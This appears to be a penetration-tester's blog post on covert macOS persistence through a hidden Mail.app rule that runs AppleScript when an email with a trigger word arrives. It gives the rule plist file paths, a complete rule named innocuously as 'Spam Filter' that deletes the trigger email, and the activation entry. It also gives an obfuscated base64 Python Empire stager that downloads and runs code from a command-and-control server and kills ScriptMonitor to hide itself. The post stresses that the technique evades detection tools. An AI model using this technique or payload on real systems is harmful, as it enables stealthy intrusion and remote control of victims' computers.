In this post we will cover how we can use Mail.app on OS X to persist. I was inspired by similar tools which are designed to work with Microsoft Outlook. I first stumbled upon this article from MWR InfoSecurity, and then this blog post from Silent Break Security. While rules in Mail.app will not replicate across the Directory Domain, which is one of the awesome things about both XRulez and Ruler, it does have some distinct advantages over other methods of persistence.
- It does not present a network signature until remotely activated
- It will not be detected by any tool which detects persistence such as KnockKnock.
It’s not uncommon for a target network to be under 24/7 monitoring. Most methods of persistence will require the malware to constantly beacon out back to the Command and Control server. This often times presents a unique network signature, which can discovered by a savvy analyst. A security minded user or an organization may be enumerating common persistence areas for malware. This typically includes LaunchDeamons, Cron Jobs, and Kernel Extensions.
While this technique will leave artifacts on the host, the fact that common security tools cannot detect it is a plus.
To create a mail rule the standard way, we would go to Mail -> Preferences -> Rules -> Add Rule
For the purpose of penetration testing, we cannot assume however that we will be able to interact within the GUI, and seek a way to perform this from a shell.
Mail rules are stored in:
/Users/$USER/Library/Mail/$VERSION/MailData/SyncedRules.plist
With the $USER being equal to the name of the users home directory, and $VERSION being equal to the version of the OS. MacOS Sierra (10.12) will be V4, OS X El Capitan (10.11) will be V3, and anything from OS X Lion (10.7) to OS X Yosemite (10.10) will be V2.
If the user is using iCloud syncing, the mail rule will be overwritten by a different file, located at:
/Users/$USER/Library/Mobile Documents/com~apple~mail/Data/$VERSION/MailData/SyncedRules.plist
This file will always take precedence and overwrites the file in /Library/Mail/, and for this reason you should add your mail rule to this file instead. While the iCloud syncing happens automatically, Mail.app will need to be bounced (restarted) for the application to pick up the new rule if the default location is in use.
There is another important caveat, and that is that mail rules will not be active, unless specified by RulesActiveState.plist which is present in the same directory.
Here is the anatomy of an acceptable rule for what we are trying to do:
<dict> <key>AllCriteriaMustBeSatisfied</key> <string>NO</string> <key>AppleScript</key> <string>EVIL.scpt</string> <key>AutoResponseType</key> <integer>0</integer> <key>Criteria</key> <array> <dict> <key>CriterionUniqueId</key> <string>9709BE75-9606-D470-4F04-0A884724105A</string> <key>Expression</key> <string>TriggerWord</string> <key>Header</key> <string>Subject</string> </dict> </array> <key>Deletes</key> <string>YES</string> <key>HighlightTextUsingColor</key> <string>NO</string> <key>MarkFlagged</key> <string>NO</string> <key>MarkRead</key> <string>NO</string> <key>NotifyUser</key> <string>NO</string> <key>RuleId</key> <string>0A08B01B-4DAF-FA3A-E81D-CBA86A0E7C84</string> <key>RuleName</key> <string>Spam Filter</string> <key>SendNotification</key> <string>NO</string> <key>ShouldCopyMessage</key> <string>NO</string> <key>ShouldTransferMessage</key> <string>NO</string> <key>TimeStamp</key> <integer>147762204</integer> <key>Version</key> <integer>1</integer> </dict>
The notable fields are:
- AppleScript – This identifies that AppleScript should be ran, and the string identifies the payload
- CriterionUniqueId and RuleId – Unique identifiers for the Rule. The RuleID for this rule will need to be activated in RulesActiveState.plist
- Expression – This is the string that our rule will look for when choosing to fire.
- RuleName – This is the name of the rule. To avoid detection, it should be named something innocuous.
- Deletes – This deletes the email when the criteria is matched.
To activate the rule, just include the Rule ID in the RulesActiveState.plist file as such:
<key>0A08B01B-4DAF-FA3A-E81D-CBA86A0E7C84</key> <true/>
Now that rule creating is covered it is time to talk about the payload. Payloads are created in AppleScript. Here is a sample payload:
do shell script "echo \"import sys,base64;exec(base64.b64decode('aW1wb3J0IHN5cztvPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bc3lzLnZlcnNpb25faW5mb1swXV0sZnJvbWxpc3Q9WydidWlsZF9vcGVuZXInXSkuYnVpbGRfb3BlbmVyKCk7VUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMC4xMC4xMC4xMDo4MDgwJzt0PScvYWRtaW4vZ2V0LnBocCc7by5hZGRoZWFkZXJzPVsoJ1VzZXItQWdlbnQnLFVBKSwgKCJDb29raWUiLCAic2Vzc2lvbj1ZODROTmF3cHd1VHN4ZEF0VVRsa0ZvWGc3b2c9IildO2E9by5vcGVuKHNlcnZlcit0KS5yZWFkKCk7SVY9YVswOjRdO2RhdGE9YVs0Ol07a2V5PUlWKyd2JnRSXnJhNEZiM0hrWTkhXUp5LVdocWYlPDB4TjhLXyc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10NCmZvciBpIGluIHJhbmdlKDI1Nik6DQogICAgaj0oaitTW2ldK29yZChrZXlbaSVsZW4oa2V5KV0pKSUyNTYNCiAgICBTW2ldLFNbal09U1tqXSxTW2ldDQppPWo9MA0KZm9yIGNoYXIgaW4gZGF0YToNCiAgICBpPShpKzEpJTI1Ng0KICAgIGo9KGorU1tpXSklMjU2DQogICAgU1tpXSxTW2pdPVNbal0sU1tpXQ0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQ0KZXhlYygnJy5qb2luKG91dCkp'));\" | python & kill `ps -ax | grep ScriptMonitor |grep -v grep | awk '{print $1}'`"
AppleScript can easily issue commands as you would in the terminal by using “do shell script“. The second portion is a typical Empire stager. The additional commands after the ampersand are to hide the AppleScript. Without it, it leaves the AppleScript payload visible not only in the Activity Monitor, but also as an animated icon on the MenuBar. It appears as a spinning gear.
I’ve created an Empire module that you can use with Empire 2.0 to accomplish all of this automatically. My original proof of concept script also exists to run manually in which you specify your own parameters and payload. I highly recommend giving the Empire module a whirl.
Steps to use this module with Empire after gaining an initial session:
- usemodule persistence/osx/mail (or wherever you placed the module)
- Specify Listener, Trigger Word, and RuleName
- Execute
When you want to execute the payload at a later time all you have to do is:
- Have your Empire server listening
- Send an email to the target, specifying the trigger word in the subject line
The email will be deleted and never delivered to the inbox, and python will spawn a process which will pull down the stager from your Empire server.
-n00py